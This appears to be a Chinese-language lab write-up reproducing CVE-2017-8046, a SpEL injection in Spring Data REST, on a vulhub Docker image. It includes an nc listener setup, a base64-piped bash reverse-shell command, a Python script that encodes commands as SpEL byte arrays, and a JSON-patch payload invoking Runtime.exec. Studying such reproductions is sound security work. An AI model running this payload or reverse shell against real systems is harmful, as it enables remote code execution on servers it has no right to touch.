影响范围

  • Spring Data REST 2.5.0 - 2.5.11
  • Spring Data REST 2.6.0 - 2.6.8
  • Spring Data REST 3.0.0.RC1 - 3.0.0.RC3
  • Spring Boot 1.5.0 - 1.5.8
  • Spring Boot 1.4.x 及更早版本

漏洞类型

SpEL 表达式注入

操作系统限制

配置要求

默认配置

漏洞利用

命令执行,进行反弹 shell,写入木马

利用原理

Spring Data REST 支持通过 PATCH 请求对资源进行局部更新,PATCH 请求包含一个 path 字段,用于指定修改的对象属性,后端接受请求时,Spring 会将 path 字段直接传递给 SpeExpressionParser 解析,框架没用对 path 进行安全过滤或合法性检验,攻击者可以在 path 字段构造 SpEL 表达式实现代码执行

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2017-8046
#拉取镜像
docker-compose up -d

1773372181730

攻击机开启监听端口,nc -lvvp 监听端口

1773372345886

抓取 http://公网: 8080/customers/1 数据包

1773372291284

发送到 Repeater 模块

1773372386658

将反弹 shell 进行 base64 编码后构造出敏感命令

1
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

编码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def cmd_to_spel_ascii(command):
# 将命令转换为 ASCII 数字列表
ascii_values = [str(ord(c)) for c in command]

# 用逗号分隔并打印
result = ",".join(ascii_values)

print("\n[+] 原始命令: " + command)
print("[+] ASCII 序列 (逗号分隔):")
print(result)

# 额外生成一个可以直接用于 SpEL 的 Payload 参考
# 逻辑:利用 new java.lang.String(new byte[]{...})
spel_payload = "new java.lang.String(new byte[]{" + result + "})"
print("\n[+] SpEL 字节数组参考:")
print(spel_payload)

if __name__ == "__main__":
target_cmd = input("请输入要转换的命令 (例如反弹 shell 指令): ")
cmd_to_spel_ascii(target_cmd)

使用脚本对敏感命令进行 ascii 编码,构造注入的 payload,修改请求类型为,PATCH,添加 Content-Type: application/json-patch+json,请求主体为构造的 payload,这里用了反弹 shell

1
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ascii编码的敏感命令}))/lastname", "value": "vulhub" }]

1773372496576

发送后返回 400

1773372535432

成功连接,虽然连接不稳定

1773372597198